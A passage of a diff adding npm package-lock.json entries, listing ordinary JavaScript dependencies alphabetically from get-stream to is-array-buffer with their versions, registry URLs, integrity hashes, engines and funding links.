"https://registry.npmjs.org/get-stream/-/get-stream-6.0.1.tgz", + "integrity": "sha512-ts6Wi+2j3jQjqi70w5AlN8DFnkSwC+MqmxEzdEALB2qXZYV3X/b1CTfgPLGJNMeAWxdPfU8FO1ms3NUfaHCPYg==", + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/get-symbol-description": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/get-symbol-description/-/get-symbol-description-1.0.2.tgz", + "integrity": "sha512-g0QYk1dZBxGwk+Ngc+ltRH2IBp2f7zBkBMBJZCDerh6EhlhSR6+9irMCuT/09zD6qkarHUSn529sK/yL4S27mg==", + "dependencies": { + "call-bind": "^1.0.5", + "es-errors": "^1.3.0", + "get-intrinsic": "^1.2.4" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/glob": { + "version": "7.2.3", + "resolved": "https://registry.npmjs.org/glob/-/glob-7.2.3.tgz", + "integrity": "sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q==", + "dependencies": { + "fs.realpath": "^1.0.0", + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "^3.1.1", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" + }, + "engines": { + "node": "*" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/glob-parent": { + "version": "6.0.2", + "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-6.0.2.tgz", + "integrity": "sha512-XxwI8EOhVQgWp6iDL+3b0r86f4d6AX6zSU55HfB4ydCEuXLXc5FcYeOu+nnGftS4TEju/11rt4KJPTMgbfmv4A==", + "dependencies": { + "is-glob": "^4.0.3" + }, + "engines": { + "node": ">=10.13.0" + } + }, + "node_modules/glob-to-regexp": { + "version": "0.4.1", + "resolved": "https://registry.npmjs.org/glob-to-regexp/-/glob-to-regexp-0.4.1.tgz", + "integrity": "sha512-lkX1HJXwyMcprw/5YUZc2s7DrpAiHB21/V+E1rHUrVNokkvB6bqMzT0VfV6/86ZNabt1k14YOIaT7nDvOX3Iiw==" + }, + "node_modules/global-modules": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/global-modules/-/global-modules-2.0.0.tgz", + "integrity": "sha512-NGbfmJBp9x8IxyJSd1P+otYK8vonoJactOogrVfFRIAEY1ukil8RSKDz2Yo7wh1oihl51l/r6W4epkeKJHqL8A==", + "dependencies": { + "global-prefix": "^3.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/global-prefix": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/global-prefix/-/global-prefix-3.0.0.tgz", + "integrity": "sha512-awConJSVCHVGND6x3tmMaKcQvwXLhjdkmomy2W+Goaui8YPgYgXJZewhg3fWC+DlfqqQuWg8AwqjGTD2nAPVWg==", + "dependencies": { + "ini": "^1.3.5", + "kind-of": "^6.0.2", + "which": "^1.3.1" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/global-prefix/node_modules/which": { + "version": "1.3.1", + "resolved": "https://registry.npmjs.org/which/-/which-1.3.1.tgz", + "integrity": "sha512-HxJdYWq1MTIQbJ3nw0cqssHoTNU267KlrDuGZ1WYlxDStUtKUhOaJmh112/TZmHxxUfuJqPXSOm7tDyas0OSIQ==", + "dependencies": { + "isexe": "^2.0.0" + }, + "bin": { + "which": "bin/which" + } + }, + "node_modules/globals": { + "version": "11.12.0", + "resolved": "https://registry.npmjs.org/globals/-/globals-11.12.0.tgz", + "integrity": "sha512-WOBp/EEGUiIsJSp7wcv/y6MO+lV9UoncWqxuFfm8eBwzWNgyfBd6Gz+IeKQ9jCmyhoH99g15M3T+QaVHFjizVA==", + "engines": { + "node": ">=4" + } + }, + "node_modules/globalthis": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/globalthis/-/globalthis-1.0.3.tgz", + "integrity": "sha512-sFdI5LyBiNTHjRd7cGPWapiHWMOXKyuBNX/cWJ3NfzrZQVa8GI/8cofCl74AOVqq9W5kNmguTIzJ/1s2gyI9wA==", + "dependencies": { + "define-properties": "^1.1.3" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/globby": { + "version": "11.1.0", + "resolved": "https://registry.npmjs.org/globby/-/globby-11.1.0.tgz", + "integrity": "sha512-jhIXaOzy1sb8IyocaruWSn1TjmnBVs8Ayhcy83rmxNJ8q2uWKCAj3CnJY+KpGSXCueAPc0i05kVvVKtP1t9S3g==", + "dependencies": { + "array-union": "^2.1.0", + "dir-glob": "^3.0.1", + "fast-glob": "^3.2.9", + "ignore": "^5.2.0", + "merge2": "^1.4.1", + "slash": "^3.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/gopd": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/gopd/-/gopd-1.0.1.tgz", + "integrity": "sha512-d65bNlIadxvpb/A2abVdlqKqV563juRnZ1Wtk6s1sIR8uNsXR70xqIzVqxVf1eTqDunwT2MkczEeaezCKTZhwA==", + "dependencies": { + "get-intrinsic": "^1.1.3" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/graceful-fs": { + "version": "4.2.11", + "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.11.tgz", + "integrity": "sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ==" + }, + "node_modules/graphemer": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/graphemer/-/graphemer-1.4.0.tgz", + "integrity": "sha512-EtKwoO6kxCL9WO5xipiHTZlSzBm7WLT627TqC/uVRd0HKmq8NXyebnNYxDoBi7wt8eTWrUrKXCOVaFq9x1kgag==" + }, + "node_modules/gzip-size": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/gzip-size/-/gzip-size-6.0.0.tgz", + "integrity": "sha512-ax7ZYomf6jqPTQ4+XCpUGyXKHk5WweS+e05MBO4/y3WJ5RkmPXNKvX+bx1behVILVwr6JSQvZAku021CHPXG3Q==", + "dependencies": { + "duplexer": "^0.1.2" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/handle-thing": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/handle-thing/-/handle-thing-2.0.1.tgz", + "integrity": "sha512-9Qn4yBxelxoh2Ow62nP+Ka/kMnOXRi8BXnRaUwezLNhqelnN49xKz4F/dPP8OYLxLxq6JDtZb2i9XznUQbNPTg==" + }, + "node_modules/harmony-reflect": { + "version": "1.6.2", + "resolved": "https://registry.npmjs.org/harmony-reflect/-/harmony-reflect-1.6.2.tgz", + "integrity": "sha512-HIp/n38R9kQjDEziXyDTuW3vvoxxyxjxFzXLrBr18uB47GnSt+G9D29fqrpM5ZkspMcPICud3XsBJQ4Y2URg8g==" + }, + "node_modules/has-bigints": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/has-bigints/-/has-bigints-1.0.2.tgz", + "integrity": "sha512-tSvCKtBr9lkF0Ex0aQiP9N+OpV4zi2r/Nee5VkRDbaqv35RLYMzbwQfFSZZH0kR+Rd6302UJZ2p/bJCEoR3VoQ==", + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/has-flag": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", + "integrity": "sha512-sKJf1+ceQBr4SMkvQnBDNDtf4TXpVhVGateu0t918bl30FnbE2m4vNLX+VWe/dpjlb+HugGYzW7uQXH98HPEYw==", + "engines": { + "node": ">=4" + } + }, + "node_modules/has-property-descriptors": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/has-property-descriptors/-/has-property-descriptors-1.0.2.tgz", + "integrity": "sha512-55JNKuIW+vq4Ke1BjOTjM2YctQIvCT7GFzHwmfZPGo5wnrgkid0YQtnAleFSqumZm4az3n2BS+erby5ipJdgrg==", + "dependencies": { + "es-define-property": "^1.0.0" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/has-proto": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/has-proto/-/has-proto-1.0.1.tgz", + "integrity": "sha512-7qE+iP+O+bgF9clE5+UoBFzE65mlBiVj3tKCrlNQ0Ogwm0BjpT/gK4SlLYDMybDh5I3TCTKnPPa0oMG7JDYrhg==", + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/has-symbols": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.0.3.tgz", + "integrity": "sha512-l3LCuF6MgDNwTDKkdYGEihYjt5pRPbEg46rtlmnSPlUbgmB8LOIrKJbYYFBSbnPaJexMKtiPO8hmeRjRz2Td+A==", + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/has-tostringtag": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/has-tostringtag/-/has-tostringtag-1.0.2.tgz", + "integrity": "sha512-NqADB8VjPFLM2V0VvHUewwwsw0ZWBaIdgo+ieHtK3hasLz4qeCRjYcqfB6AQrBggRKppKF8L52/VqdVsO47Dlw==", + "dependencies": { + "has-symbols": "^1.0.3" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/hasown": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/hasown/-/hasown-2.0.1.tgz", + "integrity": "sha512-1/th4MHjnwncwXsIW6QMzlvYL9kG5e/CpVvLRZe4XPa8TOUNbCELqmvhDmnkNsAjwaG4+I8gJJL0JBvTTLO9qA==", + "dependencies": { + "function-bind": "^1.1.2" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/he": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/he/-/he-1.2.0.tgz", + "integrity": "sha512-F/1DnUGPopORZi0ni+CvrCgHQ5FyEAHRLSApuYWMmrbSwoN2Mn/7k+Gl38gJnR7yyDZk6WLXwiGod1JOWNDKGw==", + "bin": { + "he": "bin/he" + } + }, + "node_modules/history": { + "version": "4.10.1", + "resolved": "https://registry.npmjs.org/history/-/history-4.10.1.tgz", + "integrity": "sha512-36nwAD620w12kuzPAsyINPWJqlNbij+hpK1k9XRloDtym8mxzGYl2c17LnV6IAGB2Dmg4tEa7G7DlawS0+qjew==", + "dependencies": { + "@babel/runtime": "^7.1.2", + "loose-envify": "^1.2.0", + "resolve-pathname": "^3.0.0", + "tiny-invariant": "^1.0.2", + "tiny-warning": "^1.0.0", + "value-equal": "^1.0.1" + } + }, + "node_modules/hoist-non-react-statics": { + "version": "3.3.2", + "resolved": "https://registry.npmjs.org/hoist-non-react-statics/-/hoist-non-react-statics-3.3.2.tgz", + "integrity": "sha512-/gGivxi8JPKWNm/W0jSmzcMPpfpPLc3dY/6GxhX2hQ9iGj3aDfklV4ET7NjKpSinLpJ5vafa9iiGIEZg10SfBw==", + "dependencies": { + "react-is": "^16.7.0" + } + }, + "node_modules/hoopy": { + "version": "0.1.4", + "resolved": "https://registry.npmjs.org/hoopy/-/hoopy-0.1.4.tgz", + "integrity": "sha512-HRcs+2mr52W0K+x8RzcLzuPPmVIKMSv97RGHy0Ea9y/mpcaK+xTrjICA04KAHi4GRzxliNqNJEFYWHghy3rSfQ==", + "engines": { + "node": ">= 6.0.0" + } + }, + "node_modules/hpack.js": { + "version": "2.1.6", + "resolved": "https://registry.npmjs.org/hpack.js/-/hpack.js-2.1.6.tgz", + "integrity": "sha512-zJxVehUdMGIKsRaNt7apO2Gqp0BdqW5yaiGHXXmbpvxgBYVZnAql+BJb4RO5ad2MgpbZKn5G6nMnegrH1FcNYQ==", + "dependencies": { + "inherits": "^2.0.1", + "obuf": "^1.0.0", + "readable-stream": "^2.0.1", + "wbuf": "^1.1.0" + } + }, + "node_modules/hpack.js/node_modules/isarray": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz", + "integrity": "sha512-VLghIWNM6ELQzo7zwmcg0NmTVyWKYjvIeM83yjp0wRDTmUnrM678fQbcKBo6n2CJEF0szoG//ytg+TKla89ALQ==" + }, + "node_modules/hpack.js/node_modules/readable-stream": { + "version": "2.3.8", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.8.tgz", + "integrity": "sha512-8p0AUk4XODgIewSi0l8Epjs+EVnWiK7NoDIEGU0HhE7+ZyY8D1IMY7odu5lRrFXGg71L15KG8QrPmum45RTtdA==", + "dependencies": { + "core-util-is": "~1.0.0", + "inherits": "~2.0.3", + "isarray": "~1.0.0", + "process-nextick-args": "~2.0.0", + "safe-buffer": "~5.1.1", + "string_decoder": "~1.1.1", + "util-deprecate": "~1.0.1" + } + }, + "node_modules/hpack.js/node_modules/safe-buffer": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz", + "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==" + }, + "node_modules/hpack.js/node_modules/string_decoder": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz", + "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", + "dependencies": { + "safe-buffer": "~5.1.0" + } + }, + "node_modules/html-encoding-sniffer": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/html-encoding-sniffer/-/html-encoding-sniffer-2.0.1.tgz", + "integrity": "sha512-D5JbOMBIR/TVZkubHT+OyT2705QvogUW4IBn6nHd756OwieSF9aDYFj4dv6HHEVGYbHaLETa3WggZYWWMyy3ZQ==", + "dependencies": { + "whatwg-encoding": "^1.0.5" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/html-entities": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/html-entities/-/html-entities-1.4.0.tgz", + "integrity": "sha512-8nxjcBcd8wovbeKx7h3wTji4e6+rhaVuPNpMqwWgnHh+N9ToqsCs6XztWRBPQ+UtzsoMAdKZtUENoVzU/EMtZA==" + }, + "node_modules/html-escaper": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/html-escaper/-/html-escaper-2.0.2.tgz", + "integrity": "sha512-H2iMtd0I4Mt5eYiapRdIDjp+XzelXQ0tFE4JS7YFwFevXXMmOp9myNrUvCg0D6ws8iqkRPBfKHgbwig1SmlLfg==" + }, + "node_modules/html-minifier-terser": { + "version": "6.1.0", + "resolved": "https://registry.npmjs.org/html-minifier-terser/-/html-minifier-terser-6.1.0.tgz", + "integrity": "sha512-YXxSlJBZTP7RS3tWnQw74ooKa6L9b9i9QYXY21eUEvhZ3u9XLfv6OnFsQq6RxkhHygsaUMvYsZRV5rU/OVNZxw==", + "dependencies": { + "camel-case": "^4.1.2", + "clean-css": "^5.2.2", + "commander": "^8.3.0", + "he": "^1.2.0", + "param-case": "^3.0.4", + "relateurl": "^0.2.7", + "terser": "^5.10.0" + }, + "bin": { + "html-minifier-terser": "cli.js" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/html-minifier-terser/node_modules/commander": { + "version": "8.3.0", + "resolved": "https://registry.npmjs.org/commander/-/commander-8.3.0.tgz", + "integrity": "sha512-OkTL9umf+He2DZkUq8f8J9of7yL6RJKI24dVITBmNfZBmri9zYZQrKkuXiKhyfPSu8tUhnVBB1iKXevvnlR4Ww==", + "engines": { + "node": ">= 12" + } + }, + "node_modules/html-webpack-plugin": { + "version": "5.6.0", + "resolved": "https://registry.npmjs.org/html-webpack-plugin/-/html-webpack-plugin-5.6.0.tgz", + "integrity": "sha512-iwaY4wzbe48AfKLZ/Cc8k0L+FKG6oSNRaZ8x5A/T/IVDGyXcbHncM9TdDa93wn0FsSm82FhTKW7f3vS61thXAw==", + "dependencies": { + "@types/html-minifier-terser": "^6.0.0", + "html-minifier-terser": "^6.0.2", + "lodash": "^4.17.21", + "pretty-error": "^4.0.0", + "tapable": "^2.0.0" + }, + "engines": { + "node": ">=10.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/html-webpack-plugin" + }, + "peerDependencies": { + "@rspack/core": "0.x || 1.x", + "webpack": "^5.20.0" + }, + "peerDependenciesMeta": { + "@rspack/core": { + "optional": true + }, + "webpack": { + "optional": true + } + } + }, + "node_modules/htmlparser2": { + "version": "6.1.0", + "resolved": "https://registry.npmjs.org/htmlparser2/-/htmlparser2-6.1.0.tgz", + "integrity": "sha512-gyyPk6rgonLFEDGoeRgQNaEUvdJ4ktTmmUh/h2t7s+M8oPpIPxgNACWa+6ESR57kXstwqPiCut0V8NRpcwgU7A==", + "funding": [ + "https://github.com/fb55/htmlparser2?sponsor=1", + { + "type": "github", + "url": "https://github.com/sponsors/fb55" + } + ], + "dependencies": { + "domelementtype": "^2.0.1", + "domhandler": "^4.0.0", + "domutils": "^2.5.2", + "entities": "^2.0.0" + } + }, + "node_modules/http-deceiver": { + "version": "1.2.7", + "resolved": "https://registry.npmjs.org/http-deceiver/-/http-deceiver-1.2.7.tgz", + "integrity": "sha512-LmpOGxTfbpgtGVxJrj5k7asXHCgNZp5nLfp+hWc8QQRqtb7fUy6kRY3BO1h9ddF6yIPYUARgxGOwB42DnxIaNw==" + }, + "node_modules/http-errors": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/http-errors/-/http-errors-2.0.0.tgz", + "integrity": "sha512-FtwrG/euBzaEjYeRqOgly7G0qviiXoJWnvEH2Z1plBdXgbyjv34pHTSb9zoeHMyDy33+DWy5Wt9Wo+TURtOYSQ==", + "dependencies": { + "depd": "2.0.0", + "inherits": "2.0.4", + "setprototypeof": "1.2.0", + "statuses": "2.0.1", + "toidentifier": "1.0.1" + }, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/http-parser-js": { + "version": "0.5.8", + "resolved": "https://registry.npmjs.org/http-parser-js/-/http-parser-js-0.5.8.tgz", + "integrity": "sha512-SGeBX54F94Wgu5RH3X5jsDtf4eHyRogWX1XGT3b4HuW3tQPM4AaBzoUji/4AAJNXCEOWZ5O0DgZmJw1947gD5Q==" + }, + "node_modules/http-proxy": { + "version": "1.18.1", + "resolved": "https://registry.npmjs.org/http-proxy/-/http-proxy-1.18.1.tgz", + "integrity": "sha512-7mz/721AbnJwIVbnaSv1Cz3Am0ZLT/UBwkC92VlxhXv/k/BBQfM2fXElQNC27BVGr0uwUpplYPQM9LnaBMR5NQ==", + "dependencies": { + "eventemitter3": "^4.0.0", + "follow-redirects": "^1.0.0", + "requires-port": "^1.0.0" + }, + "engines": { + "node": ">=8.0.0" + } + }, + "node_modules/http-proxy-agent": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/http-proxy-agent/-/http-proxy-agent-4.0.1.tgz", + "integrity": "sha512-k0zdNgqWTGA6aeIRVpvfVob4fL52dTfaehylg0Y4UvSySvOq/Y+BOyPrgpUrA7HylqvU8vIZGsRuXmspskV0Tg==", + "dependencies": { + "@tootallnate/once": "1", + "agent-base": "6", + "debug": "4" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/http-proxy-middleware": { + "version": "2.0.6", + "resolved": "https://registry.npmjs.org/http-proxy-middleware/-/http-proxy-middleware-2.0.6.tgz", + "integrity": "sha512-ya/UeJ6HVBYxrgYotAZo1KvPWlgB48kUJLDePFeneHsVujFaW5WNj2NgWCAE//B1Dl02BIfYlpNgBy8Kf8Rjmw==", + "dependencies": { + "@types/http-proxy": "^1.17.8", + "http-proxy": "^1.18.1", + "is-glob": "^4.0.1", + "is-plain-obj": "^3.0.0", + "micromatch": "^4.0.2" + }, + "engines": { + "node": ">=12.0.0" + }, + "peerDependencies": { + "@types/express": "^4.17.13" + }, + "peerDependenciesMeta": { + "@types/express": { + "optional": true + } + } + }, + "node_modules/https-proxy-agent": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/https-proxy-agent/-/https-proxy-agent-5.0.1.tgz", + "integrity": "sha512-dFcAjpTQFgoLMzC2VwU+C/CbS7uRL0lWmxDITmqm7C+7F0Odmj6s9l6alZc6AELXhrnggM2CeWSXHGOdX2YtwA==", + "dependencies": { + "agent-base": "6", + "debug": "4" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/human-signals": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/human-signals/-/human-signals-2.1.0.tgz", + "integrity": "sha512-B4FFZ6q/T2jhhksgkbEW3HBvWIfDW85snkQgawt07S7J5QXTk6BkNV+0yAeZrM5QpMAdYlocGoljn0sJ/WQkFw==", + "engines": { + "node": ">=10.17.0" + } + }, + "node_modules/husky": { + "version": "7.0.4", + "resolved": "https://registry.npmjs.org/husky/-/husky-7.0.4.tgz", + "integrity": "sha512-vbaCKN2QLtP/vD4yvs6iz6hBEo6wkSzs8HpRah1Z6aGmF2KW5PdYuAd7uX5a+OyBZHBhd+TFLqgjUgytQr4RvQ==", + "dev": true, + "bin": { + "husky": "lib/bin.js" + }, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/typicode" + } + }, + "node_modules/iconv-lite": { + "version": "0.6.3", + "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.6.3.tgz", + "integrity": "sha512-4fCk79wshMdzMp2rH06qWrJE4iolqLhCUH+OiuIgU++RB0+94NlDL81atO7GX55uUKueo0txHNtvEyI6D7WdMw==", + "dependencies": { + "safer-buffer": ">= 2.1.2 < 3.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/icss-utils": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/icss-utils/-/icss-utils-5.1.0.tgz", + "integrity": "sha512-soFhflCVWLfRNOPU3iv5Z9VUdT44xFRbzjLsEzSr5AQmgqPMTHdU3PMT1Cf1ssx8fLNJDA1juftYl+PUcv3MqA==", + "engines": { + "node": "^10 || ^12 || >= 14" + }, + "peerDependencies": { + "postcss": "^8.1.0" + } + }, + "node_modules/idb": { + "version": "7.1.1", + "resolved": "https://registry.npmjs.org/idb/-/idb-7.1.1.tgz", + "integrity": "sha512-gchesWBzyvGHRO9W8tzUWFDycow5gwjvFKfyV9FF32Y7F50yZMp7mP+T2mJIWFx49zicqyC4uefHM17o6xKIVQ==" + }, + "node_modules/identity-obj-proxy": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/identity-obj-proxy/-/identity-obj-proxy-3.0.0.tgz", + "integrity": "sha512-00n6YnVHKrinT9t0d9+5yZC6UBNJANpYEQvL2LlX6Ab9lnmxzIRcEmTPuyGScvl1+jKuCICX1Z0Ab1pPKKdikA==", + "dependencies": { + "harmony-reflect": "^1.4.6" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/ignore": { + "version": "5.3.1", + "resolved": "https://registry.npmjs.org/ignore/-/ignore-5.3.1.tgz", + "integrity": "sha512-5Fytz/IraMjqpwfd34ke28PTVMjZjJG2MPn5t7OE4eUCUNf8BAa7b5WUS9/Qvr6mwOQS7Mk6vdsMno5he+T8Xw==", + "engines": { + "node": ">= 4" + } + }, + "node_modules/immediate": { + "version": "3.0.6", + "resolved": "https://registry.npmjs.org/immediate/-/immediate-3.0.6.tgz", + "integrity": "sha512-XXOFtyqDjNDAQxVfYxuF7g9Il/IbWmmlQg2MYKOH8ExIT1qg6xc4zyS3HaEEATgs1btfzxq15ciUiY7gjSXRGQ==" + }, + "node_modules/immer": { + "version": "9.0.21", + "resolved": "https://registry.npmjs.org/immer/-/immer-9.0.21.tgz", + "integrity": "sha512-bc4NBHqOqSfRW7POMkHd51LvClaeMXpm8dx0e8oE2GORbq5aRK7Bxl4FyzVLdGtLmvLKL7BTDBG5ACQm4HWjTA==", + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/immer" + } + }, + "node_modules/immutable": { + "version": "4.3.5", + "resolved": "https://registry.npmjs.org/immutable/-/immutable-4.3.5.tgz", + "integrity": "sha512-8eabxkth9gZatlwl5TBuJnCsoTADlL6ftEr7A4qgdaTsPyreilDSnUk57SO+jfKcNtxPa22U5KK6DSeAYhpBJw==" + }, + "node_modules/import-fresh": { + "version": "3.3.0", + "resolved": "https://registry.npmjs.org/import-fresh/-/import-fresh-3.3.0.tgz", + "integrity": "sha512-veYYhQa+D1QBKznvhUHxb8faxlrwUnxseDAbAp457E0wLNio2bOSKnjYDhMj+YiAq61xrMGhQk9iXVk5FzgQMw==", + "dependencies": { + "parent-module": "^1.0.0", + "resolve-from": "^4.0.0" + }, + "engines": { + "node": ">=6" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/import-local": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/import-local/-/import-local-3.1.0.tgz", + "integrity": "sha512-ASB07uLtnDs1o6EHjKpX34BKYDSqnFerfTOJL2HvMqF70LnxpjkzDB8J44oT9pu4AMPkQwf8jl6szgvNd2tRIg==", + "dependencies": { + "pkg-dir": "^4.2.0", + "resolve-cwd": "^3.0.0" + }, + "bin": { + "import-local-fixture": "fixtures/cli.js" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/imsc": { + "version": "1.1.5", + "resolved": "https://registry.npmjs.org/imsc/-/imsc-1.1.5.tgz", + "integrity": "sha512-V8je+CGkcvGhgl2C1GlhqFFiUOIEdwXbXLiu1Fcubvvbo+g9inauqT3l0pNYXGoLPBj3jxtZz9t+wCopMkwadQ==", + "dependencies": { + "sax": "1.2.1" + } + }, + "node_modules/imurmurhash": { + "version": "0.1.4", + "resolved": "https://registry.npmjs.org/imurmurhash/-/imurmurhash-0.1.4.tgz", + "integrity": "sha512-JmXMZ6wuvDmLiHEml9ykzqO6lwFbof0GG4IkcGaENdCRDDmMVnny7s5HsIgHCbaq0w2MyPhDqkhTUgS2LU2PHA==", + "engines": { + "node": ">=0.8.19" + } + }, + "node_modules/indent-string": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/indent-string/-/indent-string-4.0.0.tgz", + "integrity": "sha512-EdDDZu4A2OyIK7Lr/2zG+w5jmbuk1DVBnEwREQvBzspBJkCEbRa8GxU1lghYcaGJCnRWibjDXlq779X1/y5xwg==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/inflight": { + "version": "1.0.6", + "resolved": "https://registry.npmjs.org/inflight/-/inflight-1.0.6.tgz", + "integrity": "sha512-k92I/b08q4wvFscXCLvqfsHCrjrF7yiXsQuIVvVE7N82W3+aqpzuUdBbfhWcy/FZR3/4IgflMgKLOsvPDrGCJA==", + "dependencies": { + "once": "^1.3.0", + "wrappy": "1" + } + }, + "node_modules/inherits": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz", + "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==" + }, + "node_modules/ini": { + "version": "1.3.8", + "resolved": "https://registry.npmjs.org/ini/-/ini-1.3.8.tgz", + "integrity": "sha512-JV/yugV2uzW5iMRSiZAyDtQd+nxtUnjeLt0acNdw98kKLrvuRVyB80tsREOE7yvGVgalhZ6RNXCmEHkUKBKxew==" + }, + "node_modules/internal-slot": { + "version": "1.0.7", + "resolved": "https://registry.npmjs.org/internal-slot/-/internal-slot-1.0.7.tgz", + "integrity": "sha512-NGnrKwXzSms2qUUih/ILZ5JBqNTSa1+ZmP6flaIp6KmSElgE9qdndzS3cqjrDovwFdmwsGsLdeFgB6suw+1e9g==", + "dependencies": { + "es-errors": "^1.3.0", + "hasown": "^2.0.0", + "side-channel": "^1.0.4" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/ipaddr.js": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/ipaddr.js/-/ipaddr.js-2.1.0.tgz", + "integrity": "sha512-LlbxQ7xKzfBusov6UMi4MFpEg0m+mAm9xyNGEduwXMEDuf4WfzB/RZwMVYEd7IKGvh4IUkEXYxtAVu9T3OelJQ==", + "engines": { + "node": ">= 10" + } + }, + "node_modules/is-arguments": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/is-arguments/-/is-arguments-1.1.1.tgz", + "integrity": "sha512-8Q7EARjzEnKpt/PCD7e1cgUS0a6X8u5tdSiMqXhojOdoV9TsMsiO+9VLC5vAmO8N7/GmXn7yjR8qnA6bVAEzfA==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.2", + "has-tostringtag": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-array-buffer": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/is-array-buffer/-/is-array-buffer-3.0.4.tgz", + "integrity": "sha512-wcjaerHw0ydZwfhiKbXJWLDY8A7yV7KhjQOpb83hGgGfId/aQa4TOvwyzn2PuswW2gPCYEL/nEAiSVpdOj1lXw==", + "dependencies": { + "call-bind": "^1.0.2", + "get-intrinsic": "^1.2.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + 